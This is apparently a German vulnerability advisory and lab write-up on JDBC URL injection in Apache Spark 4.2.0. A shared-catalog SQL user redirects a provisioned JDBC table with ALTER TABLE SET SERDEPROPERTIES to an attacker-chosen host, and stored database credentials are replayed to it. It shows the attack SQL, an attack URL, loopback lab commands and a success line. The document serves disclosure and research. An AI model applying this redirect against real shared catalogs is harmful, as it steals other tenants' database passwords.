
Apache Spark 4.2.0 – Hoch – Remote – JDBC-URL-Injection – ALTER TABLE SET SERDEPROPERTIES
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
Write-up: https://abraxaslabs.tech/research/spark-jdbc-serde-url
Klasse: JDBC-URL-Injection Reichweite: Remote
Apache Spark 4.2.0 (32f72996) – Apache Software Foundation
SPARK-31710 verhinderte, dass zusätzliche Optionen zur Scan-Zeit eine gespeicherte JDBC-url überschreiben. ALTER TABLE SET SERDEPROPERTIES wird jedoch weiterhin in storage.properties eingefügt, was der JDBC-Scan-Options-Map entspricht. Gespeicherte user / password sind keine Spark-JDBC-Optionsnamen und werden daher an die neue URL weitergegeben.
Ein SQL-Benutzer eines gemeinsam genutzten Katalogs kann eine vom Betreiber bereitgestellte USING jdbc-Tabelle auf ein anderes Ziel umleiten und das gespeicherte Datenbankpasswort an einen selbst gewählten Host erneut senden.
| ID | noch keine CVE |
| Klasse | JDBC-URL-Injection / Wiederverwendung gespeicherter Anmeldedaten (Überbleibsel von SPARK-31710) |
| Reichweite | Remote (Connect- oder Hive-Thrift-SQL auf einem gemeinsam genutzten Katalog) |
| CWE | CWE-15, CWE-522 |
| CVSS | Hoch: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| Produkt | Apache Spark |
| Betroffen | 4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) SQL-v1-JDBC-Tabellen |
| Auth | SQL-Benutzer eines gemeinsam genutzten Katalogs (kein Job-Submit-JAR) |
| Lizenz | GNU Affero GPL v3.0 |
| Lab | nur 127.0.0.1:18960 |
Eine Connect-gRPC-SQL-Sitzung oder Hive-Thrift-SQL-Sitzung auf einem gemeinsam genutzten externalCatalog, der bereits eine persistente USING jdbc-Tabelle mit gespeicherten Anmeldedaten enthält. Kein Job-Submitter. Nicht die Sitzung, die die ursprüngliche URL benannt hat.
| Methode | Sink | Privileg |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') und dann REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties und dann JDBC Driver.connect(url, properties) | Integrität: Umleiten der bereitgestellten Tabelle auf einen Listener des Angreifers. Im Lab nachgewiesen (connect=yes). Vertraulichkeit: Wiedergabe der gespeicherten DB-user / password beim PostgreSQL-Startup und bei der Klartext-Authentifizierung. Im Lab nachgewiesen (user-replay=true password-replay=true). Die Auskundschaftung des Geheimnisses über SHOW CREATE ist geschlossen (redigiert). |
Gleiches Persistieren, späteres SELECT eines anderen Mandanten auf t | Zeile im gemeinsam genutzten Katalog | Integrität, abgeleitet: Abfragen anderer Sitzungen gegen t treffen nun die neue URL (falsche DB, vom Angreifer kontrollierte Zeilen). Verfügbarkeit, abgeleitet: Die ursprüngliche DB ist nicht erreichbar, bis ein Administrator die Serde zurücksetzt. Außerhalb der Messlatte für DoS. |
Zusätzliche Serde-Schlüssel (sessionInitStatement, prepareQuery, driver) | Scan-Optionen auf verbleibendem user / password | Integrität, abgeleitet: zusätzliche Statements oder ein Driver-No-Arg-Konstruktor aus dem Classpath. Nicht ohne ein Gadget im Standard-Classpath zu RCE aufblähen. Nicht ausgeführt. |
ALTER TABLE SET TBLPROPERTIES | nur CatalogTable.properties | Für diesen Durchlauf geschlossen. Im Lab nachgewiesen (Storage-url unverändert, kein Oracle-Treffer). |
Konflikt mit der zusätzlichen Option url zur Scan-Zeit | SPARK-31710 generateDatasourceOptions | Geschlossen. Im Lab nachgewiesen (extra-options-clash abgelehnt). |
spark.read.format("jdbc").option("url", ...) von derselben Sitzung benannt | beabsichtigte Data-Plane | VERWORFEN. Die vom Eigentümer kontrollierte URL ist nicht dieses Überbleibsel. |
SET SERDE '<class>' auf einer Datasource-Tabelle | Klassenname | Geschlossen (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). Nicht ausgeführt. |
Angrenzend geschlossen: sitzungsbenannte JDBC / Dateipfade. Kollisionsprüfung bei spark.sql.legacy.extraOptionsBehavior. OSS Spark hat keine Unity externalOptionsAllowList. Die CREATE TABLE-URL wird vom Eigentümer kontrolliert (nicht von diesem Überbleibsel). Die Protokollmaskierung von JDBC-URLs ist bedingungslos. Der path von Dateitabellen liegt in locationUri. Verbindungen von JDBCTableCatalog stammen aus der Sitzungskatalog-Konfiguration (dieselbe Datenebene wie die Wahl einer URL). Einzelbenutzer-pyspark ohne gemeinsamen Katalog liegt außerhalb des Modells.
Ich habe Spark 4.2.0 festgelegt, nicht master und nicht einen 4.3 RC. Das Absenden von Jobs auf einem offenen Cluster ist beabsichtigt. Die interessanten Überbleibsel befinden sich neben benannten Fixes. SPARK-31710 / generateDatasourceOptions lehnt eine abweichende url zur Scan-Zeit für einen bestehenden Serde-Schlüssel ab. SET TBLPROPERTIES schreibt nur table.properties. Datasource-Tabellen erlauben weiterhin SET SERDEPROPERTIES und führen diese in storage.properties zusammen (++, spätere Schlüssel gewinnen). user und password gelangen nie in jdbcOptionNames, daher übergibt asConnectionProperties sie an Driver.connect.
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE redigiert password. Der SQL-Benutzer kann das Secret nicht zurücklesen. Er kann es trotzdem ausnutzen.
Bereits festgehaltene Fehlannahmen: die url in CREATE TABLE als den Bug zu behandeln; den Konflikt bei den Extra-Optionen erneut zu melden; zu erwarten, dass SET TBLPROPERTIES den Speicher verschiebt; zu behaupten, SHOW CREATE gebe das Passwort preis; einen vollständigen Cluster laufen zu lassen, obwohl das zitierte Scala ein Gadget ist; eine Reverse Shell. Das Oracle ist ein PostgreSQL-Startup plus Klartext-Authentifizierung auf Loopback.
cd lab
./run.sh
Loopback 127.0.0.1:18960 ist ein PostgreSQL-Protokoll-Listener. HTTP-Health ist 127.0.0.1:18961. Der Gadget-Container ist Temurin 21 plus libpostgresql-jdbc-java. Gespeicherte URL ist jdbc:postgresql://127.0.0.1:1/provisioned (Verbindung abgelehnt). Angriffs-URL ist jdbc:postgresql://oracle:18960/stolen. Gespeicherter Benutzer spark_jdbc. Gespeichertes Passwort stored-secret-SPARK-JDBC-SERDE-URL. Binde es an Loopback.
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS